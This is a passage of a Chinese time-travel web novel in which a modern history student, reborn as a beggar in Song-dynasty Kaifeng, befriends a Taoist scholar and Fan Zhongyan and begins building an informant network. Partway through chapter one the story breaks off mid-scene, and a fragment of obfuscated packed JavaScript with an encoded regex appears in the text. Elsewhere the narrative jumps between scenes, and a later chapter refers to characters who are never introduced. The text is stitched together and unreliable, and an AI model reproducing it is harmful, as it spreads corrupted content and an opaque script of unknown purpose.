《一羽平天下》 1. 第一章 汴京城外的破庙 大中祥符四年的冬天冷得不讲道理。 东京汴梁城外,一处无名破庙里,一个少年蜷缩在稻草堆中,浑身瑟瑟发抖。他身上那件破旧的短褐早已看不出原本的颜色,露出的皮肤上满是冻疮和泥垢,活脱脱一个城外卖炭翁都不要的乞儿。 他忽然浑身一震,猛地睁开眼睛。 那双眼睛里先是茫然,继而警觉,最后——全是惊恐。 “这……这是哪儿?” 少年——不,应该说是一个困在这具少年身躯里的现代灵魂,拼命地转动眼珠。入目的是一尊缺了半张脸的泥塑菩萨,头顶是蛛网密布的破旧屋顶,透过窟窿能看见灰蒙蒙的天空。 一股刺鼻的霉味混着牲口粪便的气息直冲鼻腔。 他低头看自己的手——枯瘦如柴,指甲缝里全是黑泥,手腕上还结着一层厚厚的皴。 “我操。”他喃喃地说了一句,然后被自己沙哑的嗓音吓了一跳。 记忆如潮水般涌来,但不是他的记忆。 准确地说,是两股记忆正在他的脑海中角力。一股属于一个叫萧北翊的现代人——某不知名大学的历史系研究生,专攻宋史,副修兵法,毕业论文写的是《北宋初期情报网络与社会控制》。另一股,属于这具身体原本的主人——一个叫萧北翊的十六岁乞儿。 同名同姓,倒省了适应的功夫。 那个少年乞丐的记忆支离破碎,像是被人粗暴地撕扯过的旧帛。萧北翊快速翻捡着这些碎片:他记得五岁以前住在一座大宅子里,院子里有假山流水,还有一个很大的鱼缸。鱼缸。对,那个鱼缸救了他的命。然后是火。漫天的大火。哭喊声。他躲在鱼缸里,透过水纹看见红色的火光和黑色的身影。 后来就是流浪。乞讨。被人打。被人赶。睡在桥洞下,和野狗抢食。再后来,他流落到了东京城,加入了一群乞丐的团伙,苟延残喘地活着。 而现在,这个“萧北翊”的身体里,住进了一个来自千年之后的灵魂。 萧北翊挣扎着坐起来,一阵天旋地转。他摸了摸自己的额头,烫得厉害。这身体正在发高烧,原主人大概就是被这场病夺去了性命,然后被他这个穿越者鸠占鹊巢。 “穿越了。”萧北翊干涩地咧了咧嘴,“还真是穿越了。” 作为一个历史系研究生,他读过太多穿越小说,看过太多穿越剧。那些主角穿越之后要么是王侯将相,要么是世家公子,最不济也是个秀才举人。偏偏他穿越成了一个乞丐?还是快病死的乞丐? 他深吸一口冰冷的空气,强迫自己冷静下来。 萧北翊有一个最大的优点——他几乎从不慌张。读研究生那三年,他在导师手下改论文改了六十多稿,早就练出了泰山崩于前而色不变的定力。 他迅速盘点了自己的处境。 第一,他在北宋大中祥符年间。这是宋真宗的时代,澶渊之盟后的第五年。朝中王钦若、丁谓等佞臣当道,皇帝沉迷于天书封禅,国势看起来还算太平,底下已经烂了根。 第二,他这具身体原主是个乞丐,社会地位约等于零。但好处是——最底层的人反而有最广阔的视野,因为没人会在意一个乞丐听见了什么、看见了什么。 第三,他手里最大的资本不是任何物质财富,而是脑子里的知识。二十四史,倒背如流。宋史,烂熟于胸。孙子兵法十三篇,能默写能讲解。再加上那些年看过的权谋小说、历史分析帖——虽然大部分是网友瞎扯,但其中不乏真知灼见。 第四,也是最要命的——他武力值为零。这具身体瘦弱不堪,一阵风都能吹倒。别说打架,就是跑两步都喘。 “所以,”萧北翊自言自语,声音嘶哑得像是破风箱,“一个手无缚鸡之力的乞丐,想要在北宋活出个人样来,靠什么?” 他闭上眼睛,脑中飞速运转。 答案很简单——靠脑子。 靠谋略,靠眼光,靠对人性的洞察,靠对局势的预判。他熟悉这段历史的走向,知道哪些人日后会飞黄腾达,哪些势力现在看似强大实则行将朽木。 这就是他的金手指。不是武功,不是异能,而是超越这个时代八百年的知识储备和思维格局。 萧北翊睁开眼睛,眼中已经没有了惊恐,取而代之的是一种冷静到近乎冷酷的光芒。 他要在东京城活下去。不仅仅是要活下去,还要活成一个人物。 “咕——” 一阵剧烈的肠鸣打断了他的豪情壮志。萧北翊低头看着自己干瘪的肚子,苦笑起来。再伟大的宏图霸业,也得先从填饱肚子开始。 他挣扎着站起来,扶着墙慢慢走出了破庙。 雪不知什么时候停了。 东京城外官道两旁,白茫茫一片。远处的城墙巍峨耸立,在冬日惨淡的阳光下显得格外厚重。 萧北翊眯着眼睛看着那座城市。那是东京汴梁,当世最繁华的都市,百万人口的大宋心脏。在它的城墙之内,有勾栏瓦舍,有酒楼茶肆,有达官贵人,也有像他这样在泥泞中挣扎求生的蝼蚁。 而他,要从蝼蚁做起。 萧北翊迈开步子,朝城门走去。 他走得很慢,不是因为故作姿态,而是因为实在没有力气。每走一步,都能感觉到膝盖在发软。嘴里苦涩,嗓子眼里像是塞了团棉花。 就在他快走到城门口的时候,身后忽然传来急促的马蹄声。 萧北翊本能地往路边一闪,却不料脚下踩到一块冻实的泥坨,整个人失去平衡,朝前栽倒。 “闪开!都闪开!” 一个尖利的声音大喊。萧北翊余光中瞥见一匹高头大马正向自己冲来,马上的骑士穿着锦衣,腰间挎刀,一看就是哪家权贵的家奴。 按照正常的剧本,他应该被马蹄踏中,然后被好心人救起,从此开启开挂人生。 但萧北翊从来不信这种剧本。 他在摔倒的瞬间,做了一个匪夷所思的动作——他顺势一滚,整个人滚进了路边的一道浅沟里。那沟只有半尺深,但正好能让一个瘦弱的身躯贴地藏身。 马蹄从他头顶掠过,带起一阵寒风。 “妈的,不长眼的东西!” 那骑士骂了一句,扬长而去。 萧北翊趴在沟里,心跳如擂鼓。不是因为后怕,而是因为他注意到了一件事——那骑士的马蹄上裹着铁掌,而且是崭新的铁掌。普通的马匹不会钉铁掌,能用得起铁掌的,要么是军马,要么是大户人家的乘骑。而那铁掌的样式,和他在历史资料里见过的北宋早期军马铁掌完全一致。 这意味着什么?意味着刚才那个趾高气扬的家伙,很可能来自禁军系统。禁军的家奴在东京城外纵马奔驰,说明这家的主子在军中有相当的地位。 一个将军的家奴,在真宗朝末期、天书封禅闹得最凶的时候,不在营中待着,跑到城外干什么? 萧北翊把这根线索默默记在心里,撑起身体,继续朝城门走去。 进了城,一股热气夹杂着各种气味扑面而来。 东京城的街道上熙熙攘攘,卖炊饼的、卖肉羹的、卖杂嚼的,各种叫卖声此起彼伏。萧北翊的肚子又叫了一声,他咽了咽口水,努力不去看那些冒着热气的吃食摊子。 他身上一文钱都没有。原主仅有的那点破烂,在昨天夜里为了换一口热汤,已经全部给了城南一家黑心脚店的老太婆。 但他并不着急。 萧北翊在街边蹲下来,仔细观察着来往的行人。 一个挑着担子的货郎过去了,担子一头是针线脂粉,另一头是几本旧书。萧北翊的目光在那几本书上停留了两秒——都是时下流行的类书和诗集,没什么价值。 一个穿着青布袍子的书生走了过去,手里拿着一卷纸,边走边看。萧北翊瞥见那纸上写的是“奉天承运”四个字,心中一动。这是官方文书。一个普通书生,怎么能接触到官方文书? 一个妇人牵着孩子走了过去,孩子手里拿着一个泥人。萧北翊注意到那个泥人的造型——是一个穿着铠甲的将军,骑在马上,威风凛凛。泥人的底座上刻着一行小字:“杨业老令公。” 萧北翊的眼睛微微眯了起来。 杨业,民间传说中杨家的老令公,真实历史上死于雍熙三年北伐之战,距今已经三十多年了。三十多年后,民间还在卖他的泥人,说明民间对他的记忆和情感并没有随着时间流逝而淡化。 这背后是一种情绪,一种对英雄的怀念,一种对当下时局的不满。 萧北翊默默地收集着这些信息,像是在玩一个大型的拼图游戏。每一块碎片看起来都微不足道,但拼在一起,就能勾勒出这个时代真实的面貌。 他忽然站起来,朝一条小巷子走去。 巷子里有一家茶摊,卖的是最便宜的粗茶,两文钱一碗。萧北翊当然买不起,但他不是来喝茶的。 他在茶摊旁边的地上蹲下来,捡起一根树枝,开始在地上写字。 写的不是字,是数字。 旁边喝茶的几个闲汉好奇地看过来。只见这个脏兮兮的乞丐在地上画出一个个格子,然后在格子里填上数字,横竖斜着加起来,得数全都一样。 “嘿,这花子倒有几分意思。”一个脸上有痣的中年汉子咂了咂嘴。 萧北翊头也不抬,继续写。他写的是一个九宫格,从一到九,填入格子,使得每行每列对角线之和均为十五。这是最简单的幻方,中国古代叫“九宫算”,出自《易经》八卦,在北宋时期已经被士大夫们玩烂了。 但萧北翊要的不是这个。 他忽然抬起头,看着那个脸上有痣的汉子,哑着嗓子问了一句:“这位阿郎,您可知道朝中哪位相公最精于九宫算法?” 那汉子一愣,上下打量了他几眼,嗤笑道:“你一个臭花子,打听朝中相公做什么?莫不是想算算自己什么时候能吃上饱饭?” 旁边几个人都笑了起来。 萧北翊也不恼,笑了笑,继续低头写字。这次他写的不是九宫格,而是一串数字。 他写的是圆周率,小数点后二十位。 3.14159265358979323846 在北宋,最精确的圆周率计算出自沈括的《梦溪笔谈》,但也只到小数点后六七位。二十位小数,在这个时代堪称降维打击。 果然,一个穿着半旧道袍的老者注意到了地上的数字。 老者原本只是路过,不经意间瞥见那串数字,脚步顿时定住了。他蹲下身,盯着那串数字看了好一会儿,瞳孔逐渐放大。 “小友,”老者抬起头,眼中满是惊疑,“这数字……你是从何处学来的?” 萧北翊抬起头,看着老者。老者的道袍虽然半旧,但布料上乘,腰间挂着一块玉牌,上面刻着一个“王”字。他脸上虽然带着温和的笑容,但眼神锐利,像是能看穿人心。 “仙长,”萧北翊哑着嗓子说,“这是一个圆周长与直径之比。小子虽落魄,幼时曾读过几年书,偶得一书,上有此数。” 老者眉头一挑:“一书?什么书?” 萧北翊摇头:“不知道。那书后来遗失了,小子只记得这一鳞半爪。” 老者的目光在他身上停留了片刻,似乎在判断这话的真假。片刻后,老者伸出手,将萧北翊从地上拉了起来。 这小乞丐虽然浑身肮脏,但那双眼睛—— 那双眼睛清澈得不像一个乞丐。 “走,”老者说,“随贫道去喝碗热汤。” 老者的名字叫王隐之,是东京城东太乙宫里一个不大不小的道士。说“不大不小”,是因为他既不是主持一方的道官,也不是打杂烧火的末流,而是一个专攻天文历算的学者型道士,在太乙宫里领着一份微薄的俸禄,日子过得清贫但体面。 他带萧北翊去的地方不是太乙宫,而是城南一座僻静的小院。院子不大,三间瓦房,院子里种着几株梅树,此时正开得热闹,暗香浮动。 “这是贫道的私宅,”王隐之推开院门,“平时少有人来,清净。” 萧北翊跟着他进了院子,目光不动声色地扫过四周。墙角的石槽里积着水,旁边有只木桶。屋檐下挂着几串干辣椒,窗户纸上没有一个窟窿。院子里的青砖路被扫得干干净净,连一片落叶都没有。 一个细节就能看出一个人的品性。王隐之虽然是个清贫道士,但生活有条不紊,说明他是个严谨自律的人。 王隐之烧了一锅热水,又从不大的厨房里端出一碗稠粥和两块蒸芋头,摆在院子里的石桌上。 “吃吧。” 萧北翊也不客气,端起碗狼吞虎咽。他不是在演戏,是真的饿疯了。滚烫的粥顺着喉咙滑下去,暖意从胃里向四肢蔓延,像是一双看不见的手,把他从死亡线上拽了回来。 王隐之坐在对面,安静地看着他吃。 等萧北翊把最后一块芋头塞进嘴里,老者才开口:“你是哪里人?听口音,不像是京师本地的。” 萧北翊放下碗,用袖子擦了擦嘴。他在来的路上已经想好了说辞。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他在这双眼睛里看到了一种不该属于一个十六岁少年的东西——那不是年轻人的锐气,而是经历过沧桑之后的老练。这个乞儿身上有秘密,很大的秘密。但王隐之活了五十八年,这辈子最大的优点就是不该问的不问。 “你想活得好一点,”老者慢慢说,“贫道可以帮你。但贫道也有一个条件。” “道长请讲。” “贫道教不了你经史子集,那些东西你大概比贫道还清楚。”王隐之说,“但贫道可以教你一样本事——算学。不是市面上那种粗浅的算账,而是真正的算学,是能把天地万物装进数字里的学问。” 萧北翊心中一动。 “道长,”萧北翊忽然问了一个看似不相干的问题,“您跟太乙宫的王钦若王相公,是什么关系?” 王隐之的脸色变了。 “贫道和王相公,”老者斟酌着词句,“是同族。” 萧北翊心中已经了然。太乙宫,王钦若,同族道士——这三条线索串联起来,指向一个结论:眼前这位王隐之,是当朝权相王钦若的族亲。他之所以清贫,不是因为没机会富贵,而是因为不屑于攀附权贵。 这样的人,恰恰是最有价值的人脉节点。 “小子明白了,”萧北翊拱手,“多谢道长收留。” 王隐之摆手:“收留谈不上。贫道这座小院,多你一张嘴不多,少你一张嘴不少。但丑话说在前头——贫道每月俸禄有限,供你吃住已经是极限。你若想读书认字,笔墨纸砚的钱,得自己想办法。” “小子明白。” “还有,”王隐之站起身来,拍了拍袍子上的灰尘,“贫道这个人有个毛病,不喜欢被人骗。你身上那套说辞,贫道听得出有不尽不实的地方。贫道不问,你也别主动说。你我之间,坦诚相待即可。” 萧北翊心中一凛,站起来,认认真真地给王隐之行了一礼:“道长放心。” 萧北翊转身走了两步,忽然又停下,回过头来。 “道长,”他问,“小子斗胆问一句,寇莱公现在何处?” 王隐之一愣:“你认识寇准?” “小子岂敢认识那样的大人物,”萧北翊低头,“只是小时候听家父提过,说寇莱公是真正的忠臣。如今朝中……小子怕忠臣没有好下场。” 王隐之沉默片刻,叹了口气:“寇准如今在天雄军,离京师远着呢。你操这份心做什么?” 萧北翊摇头不语。 “道长,”萧北翊最后说,“若有一日寇莱公回京,请务必告诉小子。” 王隐之看了他一眼,没答应也没拒绝,只是摆了摆手让他去睡。 当天夜里,萧北翊躺在王隐之院子里堆放杂物的柴房里,身上盖着一条老道士找出来的旧棉被,听着窗外北风呼啸,久久不能入睡。 他伸出手,借着月光看着自己枯瘦的掌心。 今天发生的一切,看似偶然,实则每一步都在他的算计之中。他在城门口观察行人,是为了判断这个时代的社会状态和人心的流向。他在茶摊前写数字,是为了筛选出那些有文化、有好奇心、又不太会被世俗偏见束缚的人。王隐之的出现是随机事件,但他选择展示圆周率而非九宫格,正是看准了这位老道士腰间的玉牌和道袍的质地。 萧北翊闭上眼睛,在脑海中勾勒着未来的图景。 第一步,活下去。这一步已经完成。 第二步,建立情报网络。这是最关键的一步。在北宋这个没有电报、没有互联网的时代,信息的传递速度慢得令人发指。但如果能把市井中那些最不起眼的人——乞丐、小贩、脚夫、丫鬟、妓女——都变成自己的耳目,那么这张网就能覆盖整个东京城。 萧北翊给这个还没出生的系统取了一个名字——赤羽。 赤,是烈火燎原的赤;羽,是羽翼无声的羽。 他翻了个身,嘴角微微上扬。 窗外,明月高悬,照着这座千年帝都的万家灯火。没有人知道,在这个寒冷的冬夜里,一颗小小的种子已经悄悄埋进了东京城的泥土里。 柴房外忽然传来脚步声。萧北翊立刻闭上眼睛,呼吸变得均匀,装出一副熟睡的样子。 脚步声在柴房门口停下,停顿片刻,然后轻轻离去。是王隐之。 萧北翊重新闭上眼睛,在意识沉入黑暗之前,一个念头闪过他的脑海——王隐之去看他时,脚步轻得几乎没有声音。一个五十八岁的道士,走路不应该这么轻。 除非他会武。 萧北翊在黑暗中微微笑了一下。 有趣。 2. 第二章 桑家瓦子的范先生 萧北翊在柴房里住了三天。 这三天里,他没有急着出门“闯荡江湖”,也没有急着去找什么机缘。他做了一件看起来毫无用处、实则至关重要的事情——观察。 每天天不亮,他就爬起来,蹲在院门口的台阶上,看着这条巷子里的人来来往往。巷子叫甜水巷,因为巷口有一口甜水井而得名。住在这里的多半是东京城里不上不下的中等人家,有开杂货铺的,有在衙门当差的小吏,也有像王隐之这样清贫但体面的读书人。 萧北翊用了三天时间,把这条巷子里每一户人家的情况摸了个七七八八。 巷口卖豆腐的老孙头,每天早上卯时二刻准时出摊,他老婆负责磨豆子,他负责叫卖。老孙头的豆腐做得不错,但人品不怎么样——萧北翊亲眼看见他把昨天卖剩的豆腐掺进今天的新豆腐里,还多收了一个小姑娘一文钱。 巷中第二家是开纸马铺的赵四郎,专卖冥器纸钱。这人倒是个老实人,只是运气不好,去年死了老婆,今年又死了老娘,生意也冷冷清清。萧北翊注意到他每天早上开门前都会对着供桌上的牌位烧一炷香,眼眶红红的。 巷尾住着一个姓周的寡妇,带着一个七八岁的儿子。周寡妇靠给人洗衣裳度日,日子过得紧巴巴的,但她儿子的衣裳虽然旧,却洗得干干净净、补得整整齐齐。萧北翊在心里给这个寡妇打了个标签:自尊心强,值得结交。 但萧北翊最感兴趣的不是这些平头百姓,而是巷子里一个不起眼的“异类”。 那是一个三十来岁的男人,住在赵四郎隔壁。这人每天早出晚归,回来时身上总带着一股马粪味和皮革味。他穿着打扮像个普通工匠,但萧北翊注意到一个细节——这人走路的时候,左脚总是先迈出去,而且每一步的步幅几乎一模一样。 这是行伍之人的习惯。 一个当兵的,为什么住在甜水巷这种平民聚居的地方?为什么每天早出晚归,身上带着马粪味和皮革味? 萧北翊在心里把这个人的特征记了下来。不是因为他觉得这个人有多重要,而是因为他养成了一个习惯——记下每一个“不合理”的细节。这些细节单独看毫无意义,但拼在一起,就是一幅完整的图画。 第三天傍晚,王隐之从太乙宫回来,看见萧北翊蹲在台阶上发呆,忍不住问:“子翼,你在看什么?” ——子翼。这是王隐之给他取的字。 那天王隐之问他有没有字,萧北翊说没有。老道士想了想,说:“你叫北翊,北乃方位,翊乃辅佐飞翔之意。老夫给你取个字,叫子翼如何?子者,尊称也;翼者,羽翼也。子翼,愿你成为北方之翼,有朝一日展翅高飞。” 萧北翊当时就觉得这字取得好,跟“赤羽”莫名地搭。从此,亲近之人都称他“子翼”,或者更随意些——“萧哥”“子翼哥”。 “看人。”萧北翊说。 “看人有什么用?” 萧北翊想了想,说了一个不太像答案的答案:“人就是路。把一个人看透了,就知道他背后连着多少条路。” 王隐之愣了一下,随即摇了摇头:“你这个人说话,总让贫道觉得不像是十六岁的后生。” 萧北翊笑了笑,没接话。 王隐之把买回来的菜递给萧北翊,让他帮忙择。两人坐在院子里,一边择菜一边有一搭没一搭地聊天。 “道长,”萧北翊忽然问,“东京城里有多少乞丐?” 王隐之手一停,皱眉想了想:“这个倒没数过。少说也有几千吧。” “那这些乞丐归谁管?” “乞丐还有什么管不管的?”王隐之不解,“他们散落在城里各处,各自讨各自的饭,哪有人管他们?” 萧北翊心说,不对。 任何一个时代,乞丐都不是“没人管”的。他们有自己的圈子,有自己的规矩,甚至有自己的“帮主”和“地盘”。在原主的记忆里,东京城的乞丐大致分为三拨:城东一带归一个叫“瘸腿张”的老乞丐管,城南一带听一个叫“孙婆婆”的老乞婆号令,城西和城北则是一盘散沙,没什么组织。 但这些“组织”太松散,太原始,顶多就是划分一下讨饭的地盘。真正有用的是那些不为人知的“散丐”——他们不属于任何团伙,游离在各个圈子之外,反而能看到更多东西。 萧北翊在心里盘算着,嘴上却说:“道长说得对,小子随便问问。” 王隐之看了他一眼,显然不信,但也没追问。 两人沉默了一会儿,萧北翊又开口了:“道长,您上次说寇莱公在天雄军。天雄军离京师多远?” “快马也要七八天。”王隐之说完,忽然警惕地看着萧北翊,“你老问寇准做什么?” “小子说了,家父生前敬重寇莱公。”萧北翊面色平静,“小子想,有朝一日若能见上寇莱公一面,替家父了了这个心愿,也算尽孝了。” 王隐之沉默了片刻,叹了口气:“寇准这个人,太刚直。刚则易折,直则易伤。他在朝中的时候得罪了太多人,如今被贬到天雄军,未必是坏事。” 萧北翊心里说:那可不一定。但嘴上没再说什么。 第四天,萧北翊终于出门了。 他跟王隐之借了一文钱,在巷口的胡饼摊上买了一块胡饼,揣在怀里,一路朝城南走去。 他要去的地方叫“瓦舍”。 东京城的瓦舍,说白了就是大型娱乐综合体。里面有说书的、唱曲的、杂耍的、卖药的、算命的,三教九流,无所不包。萧北翊去瓦舍当然不是为了娱乐,而是为了——听消息。 瓦舍是最鱼龙混杂的地方,也是消息流通最快的地方。一个说书人讲完一段《五代史》,底下听客的议论就能让你知道民间对朝政的真实看法。一个卖药的在台上吆喝两句,你就能知道最近城里又流行什么瘟疫。 萧北翊去的这家瓦舍叫“桑家瓦子”,在城南相国寺附近,是东京城里最大的瓦舍之一。他没花钱进去,而是在瓦舍外面的巷子里蹲着,耳朵竖得像兔子一样。 不一会儿,一个穿着青布直裰的中年人从瓦舍里出来,边走边摇头叹气。萧北翊注意到他袖子里揣着一卷纸,纸上隐隐约约能看到字迹。 “这位阿郎,”萧北翊突然开口,“可是有什么烦心事?” 中年人一愣,低头看了看蹲在墙根的乞丐,本想不理,但萧北翊接下来的话让他停住了脚步。 “小子看阿郎眉间有郁结之气,脚步沉重,分明是心中有话说不出口。阿郎从瓦舍出来,袖中又揣着纸卷,想必是刚听了说书,心中有所感慨,想提笔写点什么,又不知从何写起。” 中年人瞪大了眼睛。 萧北翊笑了笑,从怀里掏出那块胡饼,掰成两半,递了一半过去:“阿郎若不嫌弃,坐下来聊聊?小子虽然是个叫花子,但耳朵好使,嘴巴也严实。” 中年人犹豫了一下,竟然真的蹲了下来,接过那半块胡饼,咬了一口。 “你叫什么名字?” “小子姓萧,名北翊,字子翼。” “萧子翼……”中年人嚼着胡饼,忽然问,“你方才说我心中有话说不出口——你怎么看出来的?” 萧北翊指了指自己的眼睛:“小子看人,先看眼睛。阿郎从瓦舍出来的时候,眼神里有光,但嘴角往下撇。有光是心里有触动,嘴角下撇是说不出来。再一看阿郎袖中的纸卷,纸卷被捏得皱巴巴的,说明阿郎攥得很紧。把心里话攥得这么紧的人,多半是觉得说出来也没人懂。” 中年人的眼眶忽然红了。 “你一个乞儿,怎么懂这些?” 萧北翊心里说:我读研究生的时候,导师改论文从来不给具体意见,只说“你再想想”,那种想说话说不出来的感觉,我太懂了。 但他嘴上说的是:“叫花子别的本事没有,看人脸色的本事还是有的。不然怎么讨得到饭?” 中年人被逗笑了,笑完又叹了口气。他抽出袖中的纸卷,展开给萧北翊看。 那是一篇尚未写完的文章,开篇写道:“天下之事,有因必有果,有果必有因……” 萧北翊扫了一眼,心中一震。 这篇文章的笔法、用词、格局,都不像是普通人写的。普通人写文章,要么堆砌辞藻,要么空谈道理。但这篇文章不一样,它从一件事入手,层层递进,由表及里,把一件小事的因果链条拆解得清清楚楚。 这种思维方式,这种逻辑能力,这种文字功底—— “阿郎,”萧北翊抬起头,“您是读书人?有功名在身?” 中年人苦笑:“功名?十年前倒是中过进士,后来……罢了,不提也罢。” 萧北翊的心跳加速了。十年前中过进士,如今落魄到在瓦舍里听书解闷——这样的人,要么是被贬官的,要么是辞官归隐的。无论哪一种,他的阅历和见识都远超常人。 “阿郎贵姓?” “免贵,姓范。” 萧北翊脑中飞速运转。姓范,十年前中进士,文风雄健,逻辑缜密——难道是他? “范……范文正公?” 中年人一愣:“什么文正?某又不曾死,哪来的谥号?” 萧北翊在心里狠狠扇了 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但他只是淡淡地说:“小子流浪的时候,听过路的人讲过。” 范仲淹盯着他看了好一会儿,忽然说了一句莫名其妙的话:“你愿不愿意跟某走?” 萧北翊心中大喜,但面上不动声色:“跟阿郎去哪儿?” “某要去赴任,路过京师,再过两日就要走了。”范仲淹说,“某身边缺一个磨墨抄书的书童,你若愿意,管吃管住,每月还有五百文的月钱。” 萧北翊脑子转得飞快。跟范仲淹走?这意味着他可以近距离接触这位未来的庆历新政领袖,可以借助范仲淹的人脉进入士林。 但他的长远目标在东京。东京才是权力的中心,才是他布下“赤羽”这盘棋的主战场。 “阿郎,”萧北翊斟酌着词句,“小子多谢阿郎抬爱。但小子在京师还有未了之事,暂时走不开。” 范仲淹有些意外,但也没强求,从袖中摸出一块碎银子,塞到萧北翊手里:“那这个你拿着,买件厚衣裳穿。京师冬天冷,别冻死了。” 萧北翊推辞了一下,最后还是收下了。 “多谢阿郎,”萧北翊拱手,“小子有一言,不知当讲不当讲。” “讲。” “阿郎文章中说‘天下之事有因必有果’,小子深以为然。但小子还想说一句——有些果,是可以改变的。只要在因上下手,趁早下手。” 范仲淹一愣,随即哈哈大笑:“你一个乞儿,倒是比某还有雄心壮志!” 他笑着走了,走了几步又回头看了萧北翊一眼,眼中带着一丝说不清道不明的东西。 萧北翊蹲在原地,看着范仲淹的背影消失在巷口,心里默默地说了一句:范公,咱们还会再见面的。 回到甜水巷的时候,天已经擦黑了。 王隐之还没回来,院子里冷冷清清的。萧北翊进了柴房,把范仲淹给的那块碎银子藏在谁也找不到的地方,然后拿出从外面捡回来的一根竹片,开始在泥地上写写画画。 他在画一张图。 这张图不是地图,不是建筑图,而是一张“人脉图”。图上密密麻麻地写满了人名、地名、关系线,像是一张巨大的蜘蛛网。 中心点是他自己——萧北翊。 从中心点出发,第一条线连到王隐之,王隐之后面连着太乙宫,太乙宫后面连着王钦若。王钦若虽然是奸臣,但奸臣也是“权臣”,只要用得巧妙,奸臣也能变成自己的棋子——当然,这步棋他现在还不敢下。 第二条线连到范仲淹。范仲淹虽然现在是个不起眼的小官,但萧北翊知道,这个人将来会成为朝中举足轻重的人物。 第三条线连到甜水巷里的那个“军人”——萧北翊还没摸清他的底细,但已经在图上画了一个问号。 第四条线连到东京城的乞丐网络。这是他现阶段最关注的。他把东京城分为东、西、南、北、中五个片区,每一个片区都标注了他已知的乞丐头目和松散乞丐的分布情况。 这张图还很简陋,有很多空白和问号。但萧北翊不急。他知道,要布一局大棋,急不得。 他在图的顶端写了一行字:赤羽——预备期。 “还不能叫元年,”他自言自语,“赤羽还没影呢。” 他闭上眼睛,开始在脑海中筛选目标。东京城乞丐数千人,但不是每个人都适合做情报工作。他要找的是那种——机灵、但看起来不机灵;嘴严、但看起来话多;能吃苦、但不会把吃苦挂在嘴边的人。 这种人不好找。但萧北翊有信心。 3. 第三章 甜水巷的豆腐脑生意 赤羽的第一次“正式营业”,来得比萧北翊预想的要快,也比他预想的要搞笑。 事情是这样的。 赤羽的九个骨干散出去三天后,各自带回来一堆消息。萧北翊蹲在柴房里,把九个人叫来,一个个地听汇报。王隐之的院子再次被乞丐占领,老道士躲在正屋里假装没看见,但萧北翊分明听见他在屋里骂了一句“作孽”。 “我先来我先来!”赵大锤第一个举手,憨厚的脸上满是兴奋,“萧哥,城北那边我打听到一件事——官驿巷的孙寡妇家的猪跑了!” 院子里安静了一瞬。 萧北翊看着他:“……猪跑了?” “对!跑了两条街,咬了一个卖菜的,最后被一个屠户一刀捅死了。孙寡妇哭了一整天,说那是她男人留给她的唯一念想。”赵大锤说得眉飞色舞,仿佛在汇报什么惊天大秘闻。 萧北翊深吸一口气,努力让自己的表情看起来不那么绝望:“大锤啊,咱们做的是消息买卖,不是八卦小报。猪跑了这种事,除非那猪嘴里叼着传国玉玺,否则不值一文钱。” 赵大锤挠了挠头,似懂非懂。 “下一个。”萧北翊说。 钱串子清了清嗓子,从袖子里摸出一张皱巴巴的纸,上面密密麻麻写满了字。萧北翊凑过去一看——好家伙,这账房先生果然是专业的,连消息都做得跟账本似的,分门别类,条理清晰。 “城中的消息,我分了三类。”钱串子推了推并不存在的眼镜——他的眼镜早在三年前就当掉了——“第一类,市井消息。东十字大街的‘醉仙楼’最近换了个厨子,老主顾抱怨菜不好吃了,生意掉了三成。第二类,商贾消息。马行街的‘赵家粮铺’进了五百石新米,是从淮南运来的,价格比市价低一成。第三类,官府消息——” 他说到这里,压低了声音。 “城中的‘清风茶楼’,最近半个月来了一个生面孔。此人每天下午申时准时到,坐在二楼靠窗的位置,点一壶龙井,坐一个时辰就走。茶楼的伙计说,这人从来不跟人搭话,但有一次不小心看到他的腰牌——是枢密院的。” 萧北翊的眼睛亮了。 枢密院,北宋的最高军事机构,掌管天下兵权。一个枢密院的人,每天固定时间出现在茶楼,既不办公务也不见人,只是坐着喝茶——这要么是在等人,要么是在盯梢。无论哪一种,都值得深挖。 “这条消息保留,”萧北翊说,“先不要声张,继续观察。” 钱串子点了点头,在本子上记了一笔。 孙驼子第三个汇报。老乞丐蹲在梅树下,一边抽着萧北翊孝敬的旱烟一边慢悠悠地说:“城南嘛,没什么大事。就是相国寺门口那个算命的张半仙,最近被人砸了摊子。” “为什么被砸?” “他给人家算命说能生儿子,结果人家生了闺女。那汉子是个杀猪的,脾气暴,直接把摊子掀了。”孙驼子吐了一口烟圈,“不过有意思的是,那汉子掀完摊子,第二天张半仙的摊子又支起来了,而且生意比以前还好了。” 萧北翊一愣:“为什么?” “因为张半仙在摊子旁边立了个牌子,写着‘算错赔十’。”孙驼子咧嘴一笑,露出一口黄牙,“这老小子倒是会做生意。” 萧北翊忍不住笑了。这倒是个有意思的案例——一个人从失败中找到新的商机,这放在现代叫“危机公关”,放在北宋就是市井智慧。 阿九最后一个汇报。 她没像其他人那样蹲着,而是靠着柴房的门框站着,双手抱胸,下巴微微扬起。这姑娘虽然穿着破旧的棉袄,头发也乱糟糟的,但浑身上下透着一股“别惹我”的气势。 “城西的消息,”阿九说,声音不大但很清楚,“有三条值得说。第一,城西的‘悦来客栈’最近住进了一个从四川来的商人,姓李,做茶叶生意的。他每天早出晚归,出入的都是大商行,看样子是要做大买卖。” “第二,”阿九竖起两根手指,“城西的‘孙家瓦舍’最近在招杂役,管事的是个胖子,姓朱,好色。已经有两个去应征的小姑娘被他占了便宜。这事要是捅出去,够他喝一壶的。” 萧北翊点了点头,心里开始盘算——这倒是个可以拿捏的把柄。不是说他要去干坏事,而是手里多一张牌,总比没有强。 “第三,”阿九竖起第三根手指,嘴角微微上扬,“萧哥,你猜我在城西碰见谁了?” “谁?” “一个自称‘东京第一神算’的老头,在街上摆摊算卦。我蹲在旁边听了一会儿,发现这老头算的卦,十卦九不准。” 萧北翊有些不解:“这算哪门子消息?” 阿九看着他,眼里闪过一丝狡黠:“萧哥,你不是说咱们要做消息买卖吗?那老头虽然算卦不准,但他认识的人多。城西三教九流,没有他不熟的。这种人,要是能拉进赤羽——” 萧北翊恍然大悟。 阿九说的不是那个算卦老头,而是算卦老头背后的“人脉网”。一个在城西混了几十年的老江湖,认识的人、知道的事,比十个赵大锤都多。 “有道理,”萧北翊点头,“你试着跟他接触一下,看看有没有可能拉过来。但别急,先交朋友,别谈生意。” 阿九“嗯”了一声,不再说话。 